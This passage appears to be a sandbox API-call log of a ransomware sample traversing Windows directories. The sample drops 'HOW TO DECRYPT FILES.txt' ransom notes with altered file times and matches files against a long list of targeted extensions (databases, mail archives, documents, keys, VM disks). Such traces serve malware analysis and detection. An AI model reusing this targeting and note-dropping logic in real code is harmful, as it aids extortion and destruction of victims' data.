lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0122.796] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.796] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.796] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a89d4c6667700b28237bfec047dd7f80", cAlternateFileName="A89D4C~1")) returned 1 [0122.796] lstrcmpA (lpString1=".", lpString2="a89d4c6667700b28237bfec047dd7f80") returned -1 [0122.796] lstrcmpA (lpString1="..", lpString2="a89d4c6667700b28237bfec047dd7f80") returned -1 [0122.796] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\*.*") returned="*.*" [0122.796] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\", lpString2="a89d4c6667700b28237bfec047dd7f80" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80" [0122.797] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0122.843] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0122.843] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb08ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadb08ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb08ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.843] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0122.843] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0122.843] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadabcc10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadabcc10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadb2f030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4ef400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DataVisualization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.843] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0122.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DataVisualization.ni.dll") returned -1 [0122.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DataVisualization.ni.dll") returned -1 [0122.843] lstrcmpiA (lpString1="", lpString2="System.Web.DataVisualization.ni.dll") returned -1 [0122.843] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\*.*") returned="*.*" [0122.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" [0122.844] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\") returned="" [0122.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt" [0122.844] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\how to decrypt files.txt")) returned 0xffffffff [0122.844] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0122.847] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0122.847] CloseHandle (hObject=0x90) returned 1 [0122.847] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\", lpString2="System.Web.DataVisualization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll" [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.ems") returned 0 [0122.847] lstrlenA (lpString="*.ems") returned 5 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.db") returned 0 [0122.847] lstrlenA (lpString="*.db") returned 4 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.dbf") returned 0 [0122.847] lstrlenA (lpString="*.dbf") returned 5 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.myox") returned 0 [0122.847] lstrlenA (lpString="*.myox") returned 6 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.myo") returned 0 [0122.847] lstrlenA (lpString="*.myo") returned 5 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbw") returned 0 [0122.847] lstrlenA (lpString="*.qbw") returned 5 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbb") returned 0 [0122.847] lstrlenA (lpString="*.qbb") returned 5 [0122.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbm") returned 0 [0122.848] lstrlenA (lpString="*.qbm") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbo") returned 0 [0122.848] lstrlenA (lpString="*.qbo") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbx") returned 0 [0122.848] lstrlenA (lpString="*.qbx") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qba") returned 0 [0122.848] lstrlenA (lpString="*.qba") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qby") returned 0 [0122.848] lstrlenA (lpString="*.qby") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qbj") returned 0 [0122.848] lstrlenA (lpString="*.qbj") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.ofx") returned 0 [0122.848] lstrlenA (lpString="*.ofx") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.qif") returned 0 [0122.848] lstrlenA (lpString="*.qif") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mye") returned 0 [0122.848] lstrlenA (lpString="*.mye") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mbox") returned 0 [0122.848] lstrlenA (lpString="*.mbox") returned 6 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.eml") returned 0 [0122.848] lstrlenA (lpString="*.eml") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.pst") returned 0 [0122.848] lstrlenA (lpString="*.pst") returned 5 [0122.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.ost") returned 0 [0122.849] lstrlenA (lpString="*.ost") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.idx") returned 0 [0122.849] lstrlenA (lpString="*.idx") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.dbx") returned 0 [0122.849] lstrlenA (lpString="*.dbx") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.sql") returned 0 [0122.849] lstrlenA (lpString="*.sql") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mdb") returned 0 [0122.849] lstrlenA (lpString="*.mdb") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.fdb") returned 0 [0122.849] lstrlenA (lpString="*.fdb") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.wab") returned 0 [0122.849] lstrlenA (lpString="*.wab") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.dat") returned 0 [0122.849] lstrlenA (lpString="*.dat") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.txt") returned 0 [0122.849] lstrlenA (lpString="*.txt") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.jpeg") returned 0 [0122.849] lstrlenA (lpString="*.jpeg") returned 6 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.jpg") returned 0 [0122.849] lstrlenA (lpString="*.jpg") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.png") returned 0 [0122.849] lstrlenA (lpString="*.png") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.php") returned 0 [0122.849] lstrlenA (lpString="*.php") returned 5 [0122.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.cs") returned 0 [0122.850] lstrlenA (lpString="*.cs") returned 4 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.cpp") returned 0 [0122.850] lstrlenA (lpString="*.cpp") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.rar") returned 0 [0122.850] lstrlenA (lpString="*.rar") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.zip") returned 0 [0122.850] lstrlenA (lpString="*.zip") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.html") returned 0 [0122.850] lstrlenA (lpString="*.html") returned 6 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.htm") returned 0 [0122.850] lstrlenA (lpString="*.htm") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.xlsx") returned 0 [0122.850] lstrlenA (lpString="*.xlsx") returned 6 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.xls") returned 0 [0122.850] lstrlenA (lpString="*.xls") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mp4") returned 0 [0122.850] lstrlenA (lpString="*.mp4") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.ppt") returned 0 [0122.850] lstrlenA (lpString="*.ppt") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.pptx") returned 0 [0122.850] lstrlenA (lpString="*.pptx") returned 6 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.doc") returned 0 [0122.850] lstrlenA (lpString="*.doc") returned 5 [0122.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.dot") returned 0 [0122.851] lstrlenA (lpString="*.dot") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.docx") returned 0 [0122.851] lstrlenA (lpString="*.docx") returned 6 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.7z") returned 0 [0122.851] lstrlenA (lpString="*.7z") returned 4 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.tar") returned 0 [0122.851] lstrlenA (lpString="*.tar") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.bz2") returned 0 [0122.851] lstrlenA (lpString="*.bz2") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.gz") returned 0 [0122.851] lstrlenA (lpString="*.gz") returned 4 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.mkv") returned 0 [0122.851] lstrlenA (lpString="*.mkv") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.eml") returned 0 [0122.851] lstrlenA (lpString="*.eml") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.msg") returned 0 [0122.851] lstrlenA (lpString="*.msg") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.edb") returned 0 [0122.851] lstrlenA (lpString="*.edb") returned 5 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.accdb") returned 0 [0122.851] lstrlenA (lpString="*.accdb") returned 7 [0122.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.odb") returned 0 [0122.851] lstrlenA (lpString="*.odb") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.java") returned 0 [0122.852] lstrlenA (lpString="*.java") returned 6 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.asm") returned 0 [0122.852] lstrlenA (lpString="*.asm") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.pfx") returned 0 [0122.852] lstrlenA (lpString="*.pfx") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.pem") returned 0 [0122.852] lstrlenA (lpString="*.pem") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.p12") returned 0 [0122.852] lstrlenA (lpString="*.p12") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.gpg") returned 0 [0122.852] lstrlenA (lpString="*.gpg") returned 5 [0122.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.vsd") returned 0 [0122.853] lstrlenA (lpString="*.vsd") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.odg") returned 0 [0122.853] lstrlenA (lpString="*.odg") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.raw") returned 0 [0122.853] lstrlenA (lpString="*.raw") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.nef") returned 0 [0122.853] lstrlenA (lpString="*.nef") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.svg") returned 0 [0122.853] lstrlenA (lpString="*.svg") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.psd") returned 0 [0122.853] lstrlenA (lpString="*.psd") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.vmx") returned 0 [0122.853] lstrlenA (lpString="*.vmx") returned 5 [0122.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.8da3333a#\\a89d4c6667700b28237bfec047dd7f80\\System.Web.DataVisualization.ni.dll", pszSpec="*.vmdk") returned 0 [0122.853] lstrlenA (lpString="*.vmdk") returned 6 [0122.853] PathMatchSpecA 